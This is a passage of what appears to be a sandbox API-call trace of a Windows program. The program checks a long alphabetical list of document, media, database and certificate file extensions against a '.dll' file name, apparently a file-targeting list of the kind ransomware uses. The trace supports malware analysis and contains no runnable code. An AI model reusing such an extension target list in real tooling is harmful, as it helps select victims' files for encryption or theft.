[0087.686] lstrlenW (lpString=".1cd") returned 4 [0087.686] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.686] lstrlenW (lpString=".3ds") returned 4 [0087.686] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0087.686] lstrlenW (lpString=".3fr") returned 4 [0087.686] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0087.686] lstrlenW (lpString=".3g2") returned 4 [0087.686] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0087.686] lstrlenW (lpString=".3gp") returned 4 [0087.686] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0087.686] lstrlenW (lpString=".7z") returned 3 [0087.686] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.686] lstrlenW (lpString=".accda") returned 6 [0087.686] lstrcmpiW (lpString1=".accda", lpString2="es.dll") returned -1 [0087.686] lstrlenW (lpString=".accdb") returned 6 [0087.686] lstrcmpiW (lpString1=".accdb", lpString2="es.dll") returned -1 [0087.686] lstrlenW (lpString=".accdc") returned 6 [0087.686] lstrcmpiW (lpString1=".accdc", lpString2="es.dll") returned -1 [0087.686] lstrlenW (lpString=".accde") returned 6 [0087.686] lstrcmpiW (lpString1=".accde", lpString2="es.dll") returned -1 [0087.686] lstrlenW (lpString=".accdt") returned 6 [0087.686] lstrcmpiW (lpString1=".accdt", lpString2="es.dll") returned -1 [0087.686] lstrlenW (lpString=".accdw") returned 6 [0087.686] lstrcmpiW (lpString1=".accdw", lpString2="es.dll") returned -1 [0087.686] lstrlenW (lpString=".adb") returned 4 [0087.686] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0087.687] lstrlenW (lpString=".adp") returned 4 [0087.687] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0087.687] lstrlenW (lpString=".ai") returned 3 [0087.687] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0087.687] lstrlenW (lpString=".ai3") returned 4 [0087.687] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0087.687] lstrlenW (lpString=".ai4") returned 4 [0087.687] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0087.687] lstrlenW (lpString=".ai5") returned 4 [0087.687] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0087.687] lstrlenW (lpString=".ai6") returned 4 [0087.687] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0087.687] lstrlenW (lpString=".ai7") returned 4 [0087.687] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0087.687] lstrlenW (lpString=".ai8") returned 4 [0087.687] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0087.687] lstrlenW (lpString=".anim") returned 5 [0087.687] lstrcmpiW (lpString1=".anim", lpString2="s.dll") returned -1 [0087.687] lstrlenW (lpString=".arw") returned 4 [0087.687] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0087.687] lstrlenW (lpString=".as") returned 3 [0087.687] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0087.687] lstrlenW (lpString=".asa") returned 4 [0087.687] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0087.687] lstrlenW (lpString=".asc") returned 4 [0087.687] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0087.687] lstrlenW (lpString=".ascx") returned 5 [0087.687] lstrcmpiW (lpString1=".ascx", lpString2="s.dll") returned -1 [0087.687] lstrlenW (lpString=".asm") returned 4 [0087.687] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0087.687] lstrlenW (lpString=".asmx") returned 5 [0087.687] lstrcmpiW (lpString1=".asmx", lpString2="s.dll") returned -1 [0087.687] lstrlenW (lpString=".asp") returned 4 [0087.687] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0087.688] lstrlenW (lpString=".aspx") returned 5 [0087.688] lstrcmpiW (lpString1=".aspx", lpString2="s.dll") returned -1 [0087.688] lstrlenW (lpString=".asr") returned 4 [0087.688] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0087.688] lstrlenW (lpString=".asx") returned 4 [0087.688] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0087.688] lstrlenW (lpString=".avi") returned 4 [0087.688] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0087.688] lstrlenW (lpString=".avs") returned 4 [0087.688] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0087.688] lstrlenW (lpString=".backup") returned 7 [0087.688] lstrcmpiW (lpString1=".backup", lpString2="ces.dll") returned -1 [0087.688] lstrlenW (lpString=".bak") returned 4 [0087.688] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0087.688] lstrlenW (lpString=".bay") returned 4 [0087.688] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0087.688] lstrlenW (lpString=".bd") returned 3 [0087.688] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0087.688] lstrlenW (lpString=".bin") returned 4 [0087.688] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0087.688] lstrlenW (lpString=".bmp") returned 4 [0087.688] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0087.688] lstrlenW (lpString=".bz2") returned 4 [0087.688] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.688] lstrlenW (lpString=".c") returned 2 [0087.688] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0087.688] lstrlenW (lpString=".cdr") returned 4 [0087.688] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0087.688] lstrlenW (lpString=".cer") returned 4 [0087.688] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0087.688] lstrlenW (lpString=".cf") returned 3 [0087.688] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0087.688] lstrlenW (lpString=".cfc") returned 4 [0087.689] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0087.689] lstrlenW (lpString=".cfm") returned 4 [0087.689] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0087.689] lstrlenW (lpString=".cfml") returned 5 [0087.689] lstrcmpiW (lpString1=".cfml", lpString2="s.dll") returned -1 [0087.689] lstrlenW (lpString=".cfu") returned 4 [0087.689] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0087.689] lstrlenW (lpString=".chm") returned 4 [0087.689] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0087.689] lstrlenW (lpString=".cin") returned 4 [0087.689] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0087.689] lstrlenW (lpString=".class") returned 6 [0087.689] lstrcmpiW (lpString1=".class", lpString2="es.dll") returned -1 [0087.689] lstrlenW (lpString=".clx") returned 4 [0087.689] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0087.689] lstrlenW (lpString=".config") returned 7 [0087.689] lstrcmpiW (lpString1=".config", lpString2="ces.dll") returned -1 [0087.689] lstrlenW (lpString=".cpp") returned 4 [0087.689] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0087.689] lstrlenW (lpString=".cr2") returned 4 [0087.689] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0087.689] lstrlenW (lpString=".crt") returned 4 [0087.689] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0087.689] lstrlenW (lpString=".crw") returned 4 [0087.689] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0087.689] lstrlenW (lpString=".cs") returned 3 [0087.689] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0087.689] lstrlenW (lpString=".css") returned 4 [0087.689] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0087.689] lstrlenW (lpString=".csv") returned 4 [0087.689] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0087.689] lstrlenW (lpString=".cub") returned 4 [0087.689] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0087.689] lstrlenW (lpString=".dae") returned 4 [0087.689] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0087.690] lstrlenW (lpString=".dat") returned 4 [0087.690] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0087.690] lstrlenW (lpString=".db") returned 3 [0087.690] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0087.690] lstrlenW (lpString=".dbf") returned 4 [0087.690] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.690] lstrlenW (lpString=".dbx") returned 4 [0087.690] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0087.690] lstrlenW (lpString=".dc3") returned 4 [0087.690] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0087.690] lstrlenW (lpString=".dcm") returned 4 [0087.690] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0087.690] lstrlenW (lpString=".dcr") returned 4 [0087.690] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0087.690] lstrlenW (lpString=".der") returned 4 [0087.690] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0087.690] lstrlenW (lpString=".dib") returned 4 [0087.690] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0087.690] lstrlenW (lpString=".dic") returned 4 [0087.690] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0087.690] lstrlenW (lpString=".dif") returned 4 [0087.690] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0087.690] lstrlenW (lpString=".divx") returned 5 [0087.690] lstrcmpiW (lpString1=".divx", lpString2="s.dll") returned -1 [0087.690] lstrlenW (lpString=".djvu") returned 5 [0087.690] lstrcmpiW (lpString1=".djvu", lpString2="s.dll") returned -1 [0087.690] lstrlenW (lpString=".dng") returned 4 [0087.690] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0087.690] lstrlenW (lpString=".doc") returned 4 [0087.690] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.690] lstrlenW (lpString=".docm") returned 5 [0087.690] lstrcmpiW (lpString1=".docm", lpString2="s.dll") returned -1 [0087.690] lstrlenW (lpString=".docx") returned 5 [0087.691] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0087.691] lstrlenW (lpString=".dot") returned 4 [0087.691] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0087.691] lstrlenW (lpString=".dotm") returned 5 [0087.691] lstrcmpiW (lpString1=".dotm", lpString2="s.dll") returned -1 [0087.691] lstrlenW (lpString=".dotx") returned 5 [0087.691] lstrcmpiW (lpString1=".dotx", lpString2="s.dll") returned -1 [0087.691] lstrlenW (lpString=".dpx") returned 4 [0087.691] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0087.691] lstrlenW (lpString=".dqy") returned 4 [0087.691] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0087.691] lstrlenW (lpString=".dsn") returned 4 [0087.691] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0087.691] lstrlenW (lpString=".dt") returned 3 [0087.691] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0087.691] lstrlenW (lpString=".dtd") returned 4 [0087.691] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0087.691] lstrlenW (lpString=".dwg") returned 4 [0087.691] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0087.691] lstrlenW (lpString=".dwt") returned 4 [0087.691] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0087.691] lstrlenW (lpString=".dx") returned 3 [0087.691] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0087.691] lstrlenW (lpString=".dxf") returned 4 [0087.691] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0087.691] lstrlenW (lpString=".edml") returned 5 [0087.691] lstrcmpiW (lpString1=".edml", lpString2="s.dll") returned -1 [0087.691] lstrlenW (lpString=".efd") returned 4 [0087.691] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0087.691] lstrlenW (lpString=".elf") returned 4 [0087.691] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0087.691] lstrlenW (lpString=".emf") returned 4 [0087.691] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0087.692] lstrlenW (lpString=".emz") returned 4 [0087.692] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0087.692] lstrlenW (lpString=".epf") returned 4 [0087.692] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0087.692] lstrlenW (lpString=".eps") returned 4 [0087.692] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0087.692] lstrlenW (lpString=".epsf") returned 5 [0087.692] lstrcmpiW (lpString1=".epsf", lpString2="s.dll") returned -1 [0087.692] lstrlenW (lpString=".epsp") returned 5 [0087.692] lstrcmpiW (lpString1=".epsp", lpString2="s.dll") returned -1 [0087.692] lstrlenW (lpString=".erf") returned 4 [0087.692] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0087.692] lstrlenW (lpString=".exr") returned 4 [0087.692] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0087.692] lstrlenW (lpString=".f4v") returned 4 [0087.692] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0087.692] lstrlenW (lpString=".fido") returned 5 [0087.692] lstrcmpiW (lpString1=".fido", lpString2="s.dll") returned -1 [0087.692] lstrlenW (lpString=".flm") returned 4 [0087.692] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0087.692] lstrlenW (lpString=".flv") returned 4 [0087.692] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0087.692] lstrlenW (lpString=".frm") returned 4 [0087.692] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0087.692] lstrlenW (lpString=".fxg") returned 4 [0087.692] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0087.692] lstrlenW (lpString=".geo") returned 4 [0087.692] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0087.692] lstrlenW (lpString=".gif") returned 4 [0087.692] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0087.692] lstrlenW (lpString=".grs") returned 4 [0087.692] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0087.692] lstrlenW (lpString=".gz") returned 3 [0087.693] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0087.693] lstrlenW (lpString=".h") returned 2 [0087.693] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0087.693] lstrlenW (lpString=".hdr") returned 4 [0087.693] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0087.693] lstrlenW (lpString=".hpp") returned 4 [0087.693] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0087.693] lstrlenW (lpString=".hta") returned 4 [0087.693] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0087.693] lstrlenW (lpString=".htc") returned 4 [0087.693] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0087.693] lstrlenW (lpString=".htm") returned 4 [0087.693] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0087.693] lstrlenW (lpString=".html") returned 5 [0087.693] lstrcmpiW (lpString1=".html", lpString2="s.dll") returned -1 [0087.693] lstrlenW (lpString=".icb") returned 4 [0087.693] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0087.693] lstrlenW (lpString=".ics") returned 4 [0087.693] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0087.693] lstrlenW (lpString=".iff") returned 4 [0087.693] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0087.693] lstrlenW (lpString=".inc") returned 4 [0087.693] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0087.693] lstrlenW (lpString=".indd") returned 5 [0087.693] lstrcmpiW (lpString1=".indd", lpString2="s.dll") returned -1 [0087.693] lstrlenW (lpString=".ini") returned 4 [0087.693] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0087.693] lstrlenW (lpString=".iqy") returned 4 [0087.693] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0087.693] lstrlenW (lpString=".j2c") returned 4 [0087.693] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0087.693] lstrlenW (lpString=".j2k") returned 4 [0087.693] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0087.693] lstrlenW (lpString=".java") returned 5 [0087.694] lstrcmpiW (lpString1=".java", lpString2="s.dll") returned -1 [0087.694] lstrlenW (lpString=".jp2") returned 4 [0087.694] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0087.694] lstrlenW (lpString=".jpc") returned 4 [0087.694] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0087.694] lstrlenW (lpString=".jpe") returned 4 [0087.694] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0087.694] lstrlenW (lpString=".jpeg") returned 5 [0087.694] lstrcmpiW (lpString1=".jpeg", lpString2="s.dll") returned -1 [0087.694] lstrlenW (lpString=".jpf") returned 4 [0087.694] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0087.694] lstrlenW (lpString=".jpg") returned 4 [0087.694] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.694] lstrlenW (lpString=".jpx") returned 4 [0087.694] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0087.694] lstrlenW (lpString=".js") returned 3 [0087.694] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0087.694] lstrlenW (lpString=".jsf") returned 4 [0087.694] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0087.694] lstrlenW (lpString=".json") returned 5 [0087.694] lstrcmpiW (lpString1=".json", lpString2="s.dll") returned -1 [0087.695] lstrlenW (lpString=".jsp") returned 4 [0087.695] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0087.695] lstrlenW (lpString=".kdc") returned 4 [0087.695] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0087.695] lstrlenW (lpString=".kmz") returned 4 [0087.695] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0087.695] lstrlenW (lpString=".kwm") returned 4 [0087.695] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0087.695] lstrlenW (lpString=".lasso") returned 6 [0087.695] lstrcmpiW (lpString1=".lasso", lpString2="es.dll") returned -1 [0087.695] lstrlenW (lpString=".lbi") returned 4 [0087.695] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0087.695] lstrlenW (lpString=".lgf") returned 4 [0087.695] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0087.695] lstrlenW (lpString=".lgp") returned 4 [0087.695] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0087.695] lstrlenW (lpString=".log") returned 4 [0087.695] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0087.695] lstrlenW (lpString=".m1v") returned 4 [0087.695] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0087.695] lstrlenW (lpString=".m4a") returned 4 [0087.695] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0087.695] lstrlenW (lpString=".m4v") returned 4 [0087.695] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0087.695] lstrlenW (lpString=".max") returned 4 [0087.695] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0087.695] lstrlenW (lpString=".md") returned 3 [0087.695] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0087.695] lstrlenW (lpString=".mda") returned 4 [0087.695] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0087.695] lstrlenW (lpString=".mdb") returned 4 [0087.695] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0087.695] lstrlenW (lpString=".mde") returned 4 [0087.695] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0087.696] lstrlenW (lpString=".mdf") returned 4 [0087.696] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0087.696] lstrlenW (lpString=".mdw") returned 4 [0087.696] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0087.696] lstrlenW (lpString=".mef") returned 4 [0087.696] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0087.696] lstrlenW (lpString=".mft") returned 4 [0087.696] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0087.696] lstrlenW (lpString=".mfw") returned 4 [0087.696] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0087.696] lstrlenW (lpString=".mht") returned 4 [0087.696] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0087.696] lstrlenW (lpString=".mhtml") returned 6 [0087.696] lstrcmpiW (lpString1=".mhtml", lpString2="es.dll") returned -1 [0087.696] lstrlenW (lpString=".mka") returned 4 [0087.696] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0087.696] lstrlenW (lpString=".mkidx") returned 6 [0087.696] lstrcmpiW (lpString1=".mkidx", lpString2="es.dll") returned -1 [0087.696] lstrlenW (lpString=".mkv") returned 4 [0087.696] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0087.696] lstrlenW (lpString=".mos") returned 4 [0087.696] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0087.696] lstrlenW (lpString=".mov") returned 4 [0087.696] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0087.696] lstrlenW (lpString=".mp3") returned 4 [0087.696] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0087.696] lstrlenW (lpString=".mp4") returned 4 [0087.696] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0087.696] lstrlenW (lpString=".mpeg") returned 5 [0087.696] lstrcmpiW (lpString1=".mpeg", lpString2="s.dll") returned -1 [0087.696] lstrlenW (lpString=".mpg") returned 4 [0087.696] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0087.696] lstrlenW (lpString=".mpv") returned 4 [0087.697] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0087.697] lstrlenW (lpString=".mrw") returned 4 [0087.697] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0087.697] lstrlenW (lpString=".msg") returned 4 [0087.697] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0087.697] lstrlenW (lpString=".mxl") returned 4 [0087.697] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0087.697] lstrlenW (lpString=".myd") returned 4 [0087.697] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0087.697] lstrlenW (lpString=".myi") returned 4 [0087.697] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0087.697] lstrlenW (lpString=".nef") returned 4 [0087.697] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0087.697] lstrlenW (lpString=".nrw") returned 4 [0087.697] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0087.697] lstrlenW (lpString=".obj") returned 4 [0087.697] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0087.697] lstrlenW (lpString=".odb") returned 4 [0087.697] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0087.697] lstrlenW (lpString=".odc") returned 4 [0087.697] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0087.697] lstrlenW (lpString=".odm") returned 4 [0087.697] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0087.697] lstrlenW (lpString=".odp") returned 4 [0087.697] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0087.697] lstrlenW (lpString=".ods") returned 4 [0087.697] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0087.697] lstrlenW (lpString=".oft") returned 4 [0087.697] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0087.697] lstrlenW (lpString=".one") returned 4 [0087.697] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0087.697] lstrlenW (lpString=".onepkg") returned 7 [0087.698] lstrcmpiW (lpString1=".onepkg", lpString2="ces.dll") returned -1 [0087.698] lstrlenW (lpString=".onetoc2") returned 8 [0087.698] lstrcmpiW (lpString1=".onetoc2", lpString2="aces.dll") returned -1 [0087.698] lstrlenW (lpString=".opt") returned 4 [0087.698] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0087.698] lstrlenW (lpString=".oqy") returned 4 [0087.698] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0087.698] lstrlenW (lpString=".orf") returned 4 [0087.698] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0087.698] lstrlenW (lpString=".p12") returned 4 [0087.698] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0087.698] lstrlenW (lpString=".p7b") returned 4 [0087.698] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0087.698] lstrlenW (lpString=".p7c") returned 4 [0087.698] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0087.698] lstrlenW (lpString=".pam") returned 4 [0087.698] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0087.698] lstrlenW (lpString=".pbm") returned 4 [0087.698] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0087.698] lstrlenW (lpString=".pct") returned 4 [0087.698] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0087.698] lstrlenW (lpString=".pcx") returned 4 [0087.698] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0087.698] lstrlenW (lpString=".pdd") returned 4 [0087.698] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0087.698] lstrlenW (lpString=".pdf") returned 4 [0087.698] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.698] lstrlenW (lpString=".pdp") returned 4 [0087.698] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0087.698] lstrlenW (lpString=".pef") returned 4 [0087.698] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0087.698] lstrlenW (lpString=".pem") returned 4 [0087.698] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0087.699] lstrlenW (lpString=".pff") returned 4 [0087.699] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0087.699] lstrlenW (lpString=".pfm") returned 4 [0087.699] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0087.699] lstrlenW (lpString=".pfx") returned 4 [0087.699] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0087.699] lstrlenW (lpString=".pgm") returned 4 [0087.699] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0087.699] lstrlenW (lpString=".php") returned 4 [0087.699] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0087.699] lstrlenW (lpString=".php3") returned 5 [0087.699] lstrcmpiW (lpString1=".php3", lpString2="s.dll") returned -1 [0087.699] lstrlenW (lpString=".php4") returned 5 [0087.699] lstrcmpiW (lpString1=".php4", lpString2="s.dll") returned -1 [0087.699] lstrlenW (lpString=".php5") returned 5 [0087.699] lstrcmpiW (lpString1=".php5", lpString2="s.dll") returned -1 [0087.699] lstrlenW (lpString=".phtml") returned 6 [0087.699] lstrcmpiW (lpString1=".phtml", lpString2="es.dll") returned -1 [0087.699] lstrlenW (lpString=".pict") returned 5 [0087.699] lstrcmpiW (lpString1=".pict", lpString2="s.dll") returned -1 [0087.699] lstrlenW (lpString=".pl") returned 3 [0087.699] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0087.699] lstrlenW (lpString=".pls") returned 4 [0087.699] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0087.699] lstrlenW (lpString=".pm") returned 3 [0087.699] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0087.699] lstrlenW (lpString=".png") returned 4 [0087.699] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0087.699] lstrlenW (lpString=".pnm") returned 4 [0087.699] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0087.699] lstrlenW (lpString=".pot") returned 4 [0087.699] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0087.699] lstrlenW (lpString=".potm") returned 5 [0087.699] lstrcmpiW (lpString1=".potm", lpString2="s.dll") returned -1 [0087.700] lstrlenW (lpString=".potx") returned 5 [0087.700] lstrcmpiW (lpString1=".potx", lpString2="s.dll") returned -1 [0087.700] lstrlenW (lpString=".ppa") returned 4 [0087.700] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0087.700] lstrlenW (lpString=".ppam") returned 5 [0087.700] lstrcmpiW (lpString1=".ppam", lpString2="s.dll") returned -1 [0087.700] lstrlenW (lpString=".ppm") returned 4 [0087.700] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0087.700] lstrlenW (lpString=".pps") returned 4 [0087.700] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0087.700] lstrlenW (lpString=".ppsm") returned 5 [0087.700] lstrcmpiW (lpString1=".ppsm", lpString2="s.dll") returned -1 [0087.700] lstrlenW (lpString=".ppt") returned 4 [0087.700] lstrcmpiW (lpString1=".ppt", 